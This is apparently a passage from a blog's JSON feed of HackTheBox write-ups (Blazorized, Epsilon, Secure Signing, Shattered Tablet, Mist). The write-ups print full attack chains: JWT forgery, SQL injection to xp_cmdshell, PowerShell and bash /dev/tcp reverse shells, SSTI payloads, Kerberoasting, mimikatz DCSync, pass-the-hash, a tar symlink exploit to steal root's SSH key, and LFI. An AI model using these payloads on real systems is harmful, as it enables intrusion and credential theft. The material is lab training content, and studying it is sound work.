636/tcp open tcpwrapped 1433/tcp open ms-sql-s Microsoft SQL Server 2022 |_ssl-date: 2024-11-01T22:20:39+00:00; -1s from scanner time. |_ms-sql-info: ERROR: Script execution failed (use -d to debug) | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-11-01T22:17:59 |_Not valid after: 2054-11-01T22:17:59 |_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug) 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-11-01T22:20:33 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required Subdomains To discover subdomains for the blazorized.htb domain using ffuf, run the following command:\nffuf -c -u \u0026#34;http://blazorized.htb\u0026#34; -H \u0026#34;host: FUZZ.blazorized.htb\u0026#34; -w /usr/share/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302,404 -mc all Result:\nadmin [Status: 200, Size: 2017, Words: 149, Lines: 28, Duration: 65ms] Main Site: http://blazorized.htb Admin Subdomain: http://admin.blazorized.htb Analyzing Framework Files You can retrieve Blazor framework files using curl. For instance, to get the blazor.server.js file:\ncurl -s http://blazorized.htb/_framework/blazor.server.js | grep \u0026#39;_framework/\u0026#39; To beautify and print the Blazor WebAssembly file:\ncurl -s http://blazorized.htb/_framework/blazor.webassembly.js | prettier --parser babel | grep \u0026#39;_framework/\u0026#39; curl -s http://blazorized.htb/_framework/blazor.boot.json | jq \u0026#39;.resources.lazyAssembly\u0026#39; To download the Blazorized.Helpers.dll, use:\nwget http://blazorized.htb/_framework/Blazorized.Helpers.dll For analyzing the downloaded DLL, you can use AvaloniaILSpy or dnSpy.\nPreferred Tool: I recommend using AvaloniaILSpy since it runs on Mono and is less likely to crash on Linux. Finding JWT Information Open Blazorized.Helpers in AvaloniaILSpy. Navigate to the Blazorized.Helpers.JWT section. Look for hardcoded payload information used for JWT creation. Crafting Admin Coockie ```python import jwt import datetime key = \u0026#39;8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a\u0026#39; issuer = \u0026#39;http://api.blazorized.htb\u0026#39; audience = \u0026#39;http://admin.blazorized.htb\u0026#39; email = \u0026#34;superadmin@blazorized.htb\u0026#34; role = \u0026#34;Super_Admin\u0026#34; expiration = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(seconds=60) payload = { \u0026#34;http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress\u0026#34;: email, \u0026#34;http://schemas.microsoft.com/ws/2008/06/identity/claims/role\u0026#34;: role, \u0026#34;iss\u0026#34;: issuer, \u0026#34;aud\u0026#34;: audience, \u0026#34;exp\u0026#34;: int(expiration.timestamp()), \u0026#34;iat\u0026#34;: int(datetime.datetime.now(datetime.timezone.utc).timestamp()) } token = jwt.encode(payload, key, algorithm=\u0026#34;HS512\u0026#34;) print(token) ``` ### Accessing Admin Pages - **Store JWT**: Save the JWT token in local storage: ```javascript localStorage.setItem(\u0026#39;jwt\u0026#39;, \u0026#39;\u0026lt;your_jwt_token_here\u0026gt;\u0026#39;); ``` - **Gain Access**: Access the following admin URLs: - [Admin Home](http://admin.blazorized.htb/home) - [Check Duplicate Post Title](http://admin.blazorized.htb/check-duplicate-post-title) ### SQL Injection - **Testing for Vulnerabilities**: - Test with these payloads: - `pwn\u0026#39; or 1=1 --` - `pwn\u0026#39; or 1=2 --` - Different responses indicate a vulnerability. - **Network Monitoring**: - Monitor ICMP traffic: ```bash sudo tcpdump -i any icmp ``` - **Command Execution**: - Execute commands via SQL injection: ```sql pwn\u0026#39;; EXEC master..xp_cmdshell \u0026#39;ping 10.10.14.17\u0026#39;;-- - ``` **Note**: This confirms the command execution functionality within the database. ### SQL Revshell - **Listening for Connections**: - Start a listener on port 9001 using Netcat: ```bash nc -lvnp 9001 ``` - **Payload Generation**: - Use the following command to create a PowerShell reverse shell payload: ```bash echo -n \u0026#39;$client = New-Object System.Net.Sockets.TCPClient(\u0026#34;\u0026#39;$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#34;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#34;)\u0026#39;\u0026#34;,9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2\u0026gt;\u0026amp;1 | Out-String );$sendback2 = $sendback + \u0026#34;PS \u0026#34; + (pwd).Path + \u0026#34;\u0026gt; \u0026#34;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\u0026#39; | iconv -f UTF-8 -t UTF-16LE | base64 -w 0 ``` - **Execute the Payload via SQL Injection**: - Use the following SQL injection command to execute the payload: ```sql pwn\u0026#39;; EXEC master..xp_cmdshell \u0026#39;powershell -e \u0026lt;payload\u0026gt;\u0026#39;;-- ``` - **To read the flag**: ```powershell type \\users\\nu_1055\\Desktop\\user.txt ``` ### PowerView.ps1 - Download PowerView: ```bash curl http://10.10.14.17:8000/PowerView.ps1 -o PowerView.ps1 . ./PowerView.ps1 ``` - Find interesting domain ACLs: ```powershell Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match \u0026#34;nu_1055\u0026#34;} Get-NetUser -SPN | select serviceprincipalname ``` - **Kerberoasting Guide**: - Reference: [HackTricks - Kerberoasting](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast?source=post_page-----894f707082a7--------------------------------) - **Set a Domain Object and Get Domain SPN Ticket**: ```powershell Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname=\u0026#39;pwn/domain\u0026#39;} Get-DomainSPNTicket -SPN pwn/domain ``` Brute Force the Hash echo -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat 13100 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat /tmp/hash.txt --show rm -rf /tmp/hash.txt ```bash evil-winrm -i blazorized.htb -p \u0026#39;(Ni7856Do9854Ki05Ng0005 #)\u0026#39; -u RSA_4810 ``` PowerView Usage for User Enumeration: ```bash upload .local/www/win/enum/PowerView.ps1 Import-Module ./PowerView.ps1 Get-NetUser ``` **Output Example**: ``` samaccounttype : USER_OBJECT accountexpires : NEVER ``` - Insert the `ScriptPath` for the `RSA-4810` account, granting full access to the suspicious account. The `shell.bat` file will execute whenever `SSA_6010` logs in: ```powershell Set-ADUser -Identity SSA_6010 -ScriptPath \u0026#34;A32FF3AEAA23\\shell.bat\u0026#34; ``` Listener: ```bash nc -vnp 9002 ``` Payload: ```bash echo -n \u0026#39;$client = New-Object System.Net.Sockets.TCPClient(\u0026#34;\u0026#39;$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#34;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#34;)\u0026#39;\u0026#34;,9002);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2\u0026gt;\u0026amp;1 | Out-String );$sendback2 = $sendback + \u0026#34;PS \u0026#34; + (pwd).Path + \u0026#34;\u0026gt; \u0026#34;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\u0026#39; | iconv -f UTF-8 -t UTF-16LE | base64 -w 0 ``` ```powershell \u0026#39;powershell -e \u0026lt;payload\u0026gt;\u0026#39; | Out-File -FilePath C:\\Windows\\sysvol\\domain\\scripts\\A32FF3AEAA23\\shell.bat -Encoding ASCII ``` ```bash cd \\users\\ssa_6010 curl http://10.10.14.17:8000/mimikatz.exe -o mimikatz.exe .\\mimikatz.exe \u0026#34;privilege::debug\u0026#34; \u0026#34;lsadump::dcsync /user:administrator\u0026#34; \u0026#34;exit\u0026#34; ``` ```bash secretsdump.py WORKGROUP/Administrator@10.10.11.22 -hashes :f55ed1465179ba374ec1cad05b34a5f3 ``` ```bash evil-winrm -i blazorized.htb -H \u0026#39;f55ed1465179ba374ec1cad05b34a5f3\u0026#39; -u administrator ``` ```powershell type \\users\\administrator\\desktop\\root.txt ``` Summary Blazorized: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-11-01T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Blazorized/","protected":null,"snippet":"Blazorized: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","kerberos","ldap"],"title":"HackTheBox Blazorized Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.134 cloud.epsilon.htb epsilon.htb Script to add hosts automatically ip=\u0026#34;10.10.11.134\u0026#34; domain=\u0026#34;cloud.epsilon.htb epsilon.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV epsilon.htb Nmap scan report for epsilon.htb (10.10.11.134) Host is up (0.049s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http Apache httpd 2.4.41 |_http-server-header: Apache/2.4.41 (Ubuntu) | http-git: | 10.10.11.134:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file \u0026#39;description\u0026#39; to name the... |_ Last commit message: Updating Tracking API # Please enter the commit message for... |_http-title: 403 Forbidden 5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10) |_http-title: Costume Shop Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel Git Repository as revealed by nmap on port 80.\nmkdir epsilon git-dumper http://epsilon.htb/epsilon cd epsilon gitleaks detect -v git show 7cf92a7a09e523c1c667d13847c9ba22464412f3 an AWS access key and secret key is showed\nAws Interaction aws configure AWS Access Key ID: AQLA5M37BDN6FJP76TDC AWS Secret Access Key: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A Default Region: us-east-1 Alternatively, you can directly create or edit the AWS credentials file:\nmkdir -p ~/.aws cat \u0026lt;\u0026lt;EOL \u0026gt; ~/.aws/credentials [default] aws_access_key_id = AQLA5M37BDN6FJP76TDC aws_secret_access_key = OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A EOL cat \u0026lt;\u0026lt;EOL \u0026gt; ~/.aws/config [default] region = us-east-1 output = json EOL List functions:\naws --endpoint-url=http://cloud.epsilon.htb lambda list-functions Get Function:\naws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1 You\u0026rsquo;ll find \u0026lt;http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code\u0026gt;. Download it with:\nwget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code unzip code cat lambda_function.py The following code reveals the website’s mechanism and exposes a hardcoded secret key\nGenerating JWT for Admin Access The admin coockie can be generated as follows:\npython -c \u0026#39;import jwt; print(jwt.encode({\u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;}, \u0026#34;RrXCv`mrNe+5`wYq\u0026#34;, algorithm=\u0026#34;HS256\u0026#34;))\u0026#39; Use the generated cookie for authentication:\nauth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4 Access the target page at http://epsilon.htb:5000/home\nExploiting SSTI and Gaining Reverse Shell Access To confirm the SSTI vulnerability, send a simple test payload to the /order endpoint:\ncookie=\u0026#34;Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg\u0026#34; curl \u0026#39;http://epsilon.htb:5000/order\u0026#39; -X POST -H \u0026#34;$cookie\u0026#34; --data-raw \u0026#39;costume={{7*7}}\u0026amp;q=1\u0026amp;addr=pwn\u0026#39; | grep \u0026#39;49\u0026#39; Seeing 49 in the response confirms the SSTI vulnerability.\nTo exploit this, use a payload that can execute system commands, like the following from PayloadsAllTheThings:\n{{ namespace.__init__.__globals__.os.popen(\u0026#39;id\u0026#39;).read() }} Start the listener:\nnc -lvnp 9001 Prepare a reverse shell payload, encode it in base64 for easier injection, and deliver it to the target with curl:\nrev=\u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/$(ip a | grep -A 2 \u0026#39;tun0:\u0026#39; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;)/9001 0\u0026gt;\u0026amp;1\u0026#34; encodedrev=$(echo \u0026#34;$rev\u0026#34; | base64 -w 0) payload=\u0026#34;{{ namespace.__init__.__globals__.os.popen(\u0026#39;echo $encodedrev | base64 -d | bash\u0026#39;).read() }}\u0026#34; cookie=\u0026#34;Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.8JUBz8oy5DlaoSmr0ffLb_hrdSHl0iLMGz-Ece7VNtg\u0026#34; curl \u0026#39;http://epsilon.htb:5000/order\u0026#39; -X POST -H \u0026#34;$cookie\u0026#34; --data-urlencode \u0026#34;costume=$payload\u0026#34; --data-urlencode \u0026#34;q=1\u0026#34; --data-urlencode \u0026#34;addr=pwn\u0026#34; Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Read the flag:\ncat /home/tom/user.txt Analysis of backup.sh System Process Monitoring with pspy\npspy was utilized to monitor scheduled server tasks, providing visibility into system processes without root access. More information on pspy on GitHub.\nScript Analysis: /usr/bin/backup.sh\nThe backup.sh script runs every minute, managing backups in /opt/backups. Key operations include:\n#!/bin/bash file=$(date +%N) /usr/bin/rm -rf /opt/backups/* /usr/bin/tar -cvf \u0026#34;/opt/backups/$file.tar\u0026#34; /var/www/app/ sha1sum \u0026#34;/opt/backups/$file.tar\u0026#34; | cut -d \u0026#39; \u0026#39; -f1 \u0026gt; /opt/backups/checksum sleep 5 check_file=$(date +%N) /usr/bin/tar -chvf \u0026#34;/var/backups/web_backups/${check_file}.tar\u0026#34; /opt/backups/checksum \u0026#34;/opt/backups/$file.tar\u0026#34; /usr/bin/rm -rf /opt/backups/* Script Workflow\nCleanup: Empties /opt/backups. Backup: Archives /var/www/app to /opt/backups with a timestamped filename. Checksum: Computes and saves SHA1 hash of the tar file. Archival: After a short delay, packages the checksum and tar file into /var/backups/web_backups. Final Cleanup: Clears /opt/backups after completion. Security Note\nUsing the -h (--dereference) option in tar follows symlinks, posing potential security risks by allowing unauthorized file access or modification through crafted symlinks.\nExploit while [[ -z \u0026#34;$(ls /opt/backups 2\u0026gt;/dev/null)\u0026#34; ]]; do sleep 3; done rm -f /opt/backups/checksum \u0026amp;\u0026amp; ln -sf /root/.ssh /opt/backups/checksum sleep 3 file=$(ls -t /var/backups/web_backups | head -n1) cp \u0026#34;/var/backups/web_backups/$file\u0026#34; /tmp \u0026amp;\u0026amp; cd /tmp tar -xf \u0026#34;$file\u0026#34; ssh -i /tmp/opt/backups/checksum/id_rsa root@10.10.11.134 cat root.txt Summary Epsilon: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-11-01T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Epsilon/","protected":null,"snippet":"Epsilon: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["htb","linux"],"title":"HackTheBox Epsilon Writeup"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/509\nDescription Can you crack our Ultra Secure Signing Oracle?\nSource server.py\nfrom hashlib import sha256 from secret import FLAG WELCOME_MSG = \u0026#34;\u0026#34;\u0026#34; Welcome to my Super Secure Signing service which uses unbreakable hash function. We combine your Cipher with our secure key to make sure that it is more secure than it should be. \u0026#34;\u0026#34;\u0026#34; def menu(): print(\u0026#34;1 - Sign Your Message\u0026#34;) print(\u0026#34;2 - Verify Your Message\u0026#34;) print(\u0026#34;3 - Exit\u0026#34;) def xor(a, b): return bytes([i ^ j for i, j in zip(a, b)]) def H(m): return sha256(m).digest() def main(): print(WELCOME_MSG) while True: try: menu() choice = int(input(\u0026#34;\u0026gt; \u0026#34;)) except: print(\u0026#34;Try again.\u0026#34;) continue if choice == 1: message = input(\u0026#34;Enter your message: \u0026#34;).encode() hsh = H(xor(message, FLAG)) print(f\u0026#34;Hash: {hsh.hex()}\u0026#34;) elif choice == 2: message = input(\u0026#34;Enter your message: \u0026#34;).encode() hsh = input(\u0026#34;Enter your hash: \u0026#34;) if H(xor(message, FLAG)).hex() == hsh: print(\u0026#34;[+] Signature Validated!\\n\u0026#34;) else: print(f\u0026#34;[!] Invalid Signature!\\n\u0026#34;) else: print(\u0026#34;Good Bye\u0026#34;) exit(0) if __name__ == \u0026#34;__main__\u0026#34;: main() secret.py\nFLAG = b\u0026#34;HTB{T3ST}\u0026#34; Overview The goal of this process is to extract a secret FLAG from a signing service that hashes messages combined with the FLAG. By understanding how the XOR operation works, we can cleverly deduce the FLAG without needing direct access to it.\nKey Concepts Self-Canceling: $$ A \\oplus A = 0 $$\nXORing a value with itself results in zero. Reversible: $$ A \\oplus B \\oplus B = A $$\nYou can recover the original value by XORing it with the same value again. Hashing Function: The signing function produces a hash of the format H(xor(message, FLAG)). This means the hash depends on both the input message and the secret FLAG.\nAttack Strategy Submit Two Distinct Messages:\nChoose two different messages (e.g., m1 and m2) and submit them to the signing service to get their hashes: HASH1 = H(xor(m1, FLAG)) HASH2 = H(xor(m2, FLAG)) Extract FLAG Using XOR:\nXOR the two hashes: [ FLAG = HASH1 $$ \\oplus $$ HASH2] This operation isolates the FLAG by canceling out the contributions from the messages. Exploitation #!/usr/bin/env python import sys,string from hashlib import sha256 from pwn import * def get_process(): if len(sys.argv) != 2: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) def xor(a, b): return bytes(i ^ j for i, j in zip(a, b)) def H(m): return sha256(m).digest() def main(): io = get_process() p = log.progress(\u0026#39;Flag\u0026#39;) last_flag = last_hash = new_hash = zero_xor_hash = \u0026#34;\u0026#34; while zero_xor_hash == new_hash: flag_length = len(last_flag) + 1 zero_xor_flag = \u0026#34;.\u0026#34; * flag_length zero_xor_hash = H(xor(zero_xor_flag.encode(), zero_xor_flag.encode())).hex() for c in charset: new_flag = last_flag + c io.recvuntil(b\u0026#34;\u0026gt; \u0026#34;) io.sendline(b\u0026#34;1\u0026#34;) io.recvuntil(b\u0026#34;: \u0026#34;) io.sendline(new_flag.encode()) io.recvuntil(b\u0026#34;: \u0026#34;) new_hash = io.recvline().strip().decode() if zero_xor_hash == new_hash: last_flag = new_flag last_hash = new_hash p.status(f\u0026#34;{new_flag} {new_hash}\u0026#34;) break elif last_hash == new_hash: p.success(f\u0026#34;{last_flag}\u0026#34;) io.close() return io.close() exe = \u0026#39;server.py\u0026#39; context.log_level = \u0026#39;info\u0026#39; charset = string.ascii_letters + string.digits + string.punctuation if __name__ == \u0026#39;__main__\u0026#39;: main() Summary Secure Singning: derive the XOR key stream, invert the transform, and recover the flag.\n","date":"2024-11-01T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Secure-Singning-Challenge/","protected":null,"snippet":"Secure Singning: derive the XOR key stream, invert the transform, and recover the flag.","tags":["htb","crypto","xor","hash"],"title":"HackTheBox Secure Singning Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/486\nDescription Deep in an ancient tomb, you\u0026rsquo;ve discovered a stone tablet with secret information on the locations of other relics. However, while dodging a poison dart, it slipped from your hands and shattered into hundreds of pieces. Can you reassemble it and read the clues?\nExploitation I decompiled the program using Ghidra and created a buildable version. The main function checks each character in the array, enabling us to sort the characters and uncover the expected string.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(void) { char input[64] = {0}; printf(\u0026#34;Hmmmm... I think the tablet says: \u0026#34;); fgets(input, sizeof(input), stdin); input[strcspn(input, \u0026#34;\\n\u0026#34;)] = 0; if ( (input[34] == \u0026#39;4\u0026#39;) \u0026amp;\u0026amp; (input[20] == \u0026#39;3\u0026#39;) \u0026amp;\u0026amp; (input[36] == \u0026#39;r\u0026#39;) \u0026amp;\u0026amp; (input[1] == \u0026#39;T\u0026#39;) \u0026amp;\u0026amp; (input[21] == \u0026#39;v\u0026#39;) \u0026amp;\u0026amp; (input[6] == \u0026#39;0\u0026#39;) \u0026amp;\u0026amp; (input[39] == \u0026#39;}\u0026#39;) \u0026amp;\u0026amp; (input[38] == \u0026#39;d\u0026#39;) \u0026amp;\u0026amp; (input[31] == \u0026#39;r\u0026#39;) \u0026amp;\u0026amp; (input[29] == \u0026#39;3\u0026#39;) \u0026amp;\u0026amp; (input[8] == \u0026#39;3\u0026#39;) \u0026amp;\u0026amp; (input[22] == \u0026#39;e\u0026#39;) \u0026amp;\u0026amp; (input[35] == \u0026#39;1\u0026#39;) \u0026amp;\u0026amp; (input[5] == \u0026#39;r\u0026#39;) \u0026amp;\u0026amp; (input[0] == \u0026#39;H\u0026#39;) \u0026amp;\u0026amp; (input[32] == \u0026#39;3\u0026#39;) \u0026amp;\u0026amp; (input[18] == \u0026#39;.\u0026#39;) \u0026amp;\u0026amp; (input[13] == \u0026#39;4\u0026#39;) \u0026amp;\u0026amp; (input[3] == \u0026#39;{\u0026#39;) \u0026amp;\u0026amp; (input[10] == \u0026#39;_\u0026#39;) \u0026amp;\u0026amp; (input[16] == \u0026#39;.\u0026#39;) \u0026amp;\u0026amp; (input[4] == \u0026#39;b\u0026#39;) \u0026amp;\u0026amp; (input[7] == \u0026#39;k\u0026#39;) \u0026amp;\u0026amp; (input[15] == \u0026#39;t\u0026#39;) \u0026amp;\u0026amp; (input[14] == \u0026#39;r\u0026#39;) \u0026amp;\u0026amp; (input[19] == \u0026#39;n\u0026#39;) \u0026amp;\u0026amp; (input[25] == \u0026#39;t\u0026#39;) \u0026amp;\u0026amp; (input[17] == \u0026#39;.\u0026#39;) \u0026amp;\u0026amp; (input[9] == \u0026#39;n\u0026#39;) \u0026amp;\u0026amp; (input[30] == \u0026#39;_\u0026#39;) \u0026amp;\u0026amp; (input[26] == \u0026#39;0\u0026#39;) \u0026amp;\u0026amp; (input[24] == \u0026#39;_\u0026#39;) \u0026amp;\u0026amp; (input[12] == \u0026#39;p\u0026#39;) \u0026amp;\u0026amp; (input[23] == \u0026#39;r\u0026#39;) \u0026amp;\u0026amp; (input[28] == \u0026#39;b\u0026#39;) \u0026amp;\u0026amp; (input[33] == \u0026#39;p\u0026#39;) \u0026amp;\u0026amp; (input[2] == \u0026#39;B\u0026#39;) \u0026amp;\u0026amp; (input[27] == \u0026#39;_\u0026#39;) \u0026amp;\u0026amp; (input[11] == \u0026#39;4\u0026#39;) \u0026amp;\u0026amp; (input[37] == \u0026#39;3\u0026#39;) ) { puts(\u0026#34;Yes! That\u0026#39;s right!\u0026#34;); } else { puts(\u0026#34;No... not that\u0026#34;); } return 0; } The code to print the flag is as follows:\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; typedef struct { int index; char expected_char; } Check; int main(void) { char flag[41] = {0}; Check checks[] = { {0, \u0026#39;H\u0026#39;}, {1, \u0026#39;T\u0026#39;}, {2, \u0026#39;B\u0026#39;}, {3, \u0026#39;{\u0026#39;}, {4, \u0026#39;b\u0026#39;}, {5, \u0026#39;r\u0026#39;}, {6, \u0026#39;0\u0026#39;}, {7, \u0026#39;k\u0026#39;}, {8, \u0026#39;3\u0026#39;}, {9, \u0026#39;n\u0026#39;}, {10, \u0026#39;_\u0026#39;}, {11, \u0026#39;4\u0026#39;}, {12, \u0026#39;p\u0026#39;}, {13, \u0026#39;4\u0026#39;}, {14, \u0026#39;r\u0026#39;}, {15, \u0026#39;t\u0026#39;}, {16, \u0026#39;.\u0026#39;}, {17, \u0026#39;.\u0026#39;}, {18, \u0026#39;.\u0026#39;}, {19, \u0026#39;n\u0026#39;}, {20, \u0026#39;3\u0026#39;}, {21, \u0026#39;v\u0026#39;}, {22, \u0026#39;e\u0026#39;}, {23, \u0026#39;r\u0026#39;}, {24, \u0026#39;_\u0026#39;}, {25, \u0026#39;t\u0026#39;}, {26, \u0026#39;0\u0026#39;}, {27, \u0026#39;_\u0026#39;}, {28, \u0026#39;b\u0026#39;}, {29, \u0026#39;3\u0026#39;}, {30, \u0026#39;_\u0026#39;}, {31, \u0026#39;r\u0026#39;}, {32, \u0026#39;3\u0026#39;}, {33, \u0026#39;p\u0026#39;}, {34, \u0026#39;4\u0026#39;}, {35, \u0026#39;1\u0026#39;}, {36, \u0026#39;r\u0026#39;}, {37, \u0026#39;3\u0026#39;}, {38, \u0026#39;d\u0026#39;}, {39, \u0026#39;}\u0026#39;} }; int num_checks = sizeof(checks) / sizeof(Check); for (int i = 0; i \u0026lt; num_checks; i++) { flag[checks[i].index] = checks[i].expected_char; } flag[num_checks] = \u0026#39;\\0\u0026#39;; printf(\u0026#34;The flag is: %s\\n\u0026#34;, flag); return 0; } gcc main.c \u0026amp;\u0026amp; ./a.out Summary Shattered Tablet: trace the binary, isolate the validation routine, and invert it to recover the flag.\n","date":"2024-10-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Shattered-Tablet-Challenge/","protected":null,"snippet":"Shattered Tablet: trace the binary, isolate the validation routine, and invert it to recover the flag.","tags":["htb","rev","ghidra","linux"],"title":"HackTheBox Shattered Tablet Challenge"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.17 mist.htb Script to add hosts automatically ip=\u0026#34;10.10.11.17\u0026#34; domain=\u0026#34;mist.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV mist.htb Nmap scan report for mist.htb (10.10.11.17) Host is up (0.055s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-generator: pluck 4.7.18 | http-title: Mist - Mist |_Requested resource was http://mist.htb/?file=mist |_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1 | http-robots.txt: 2 disallowed entries |_/data/ /docs/ CVE-2024-9405 Pluck LFI curl \u0026#34;http://10.10.11.17/data/modules/albums/albums_getimage.php?image=admin_backup.php\u0026#34; Brute Force the Hash Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.\necho -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat -m 1700 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat -m 1700 /tmp/hash.txt --show rm -rf 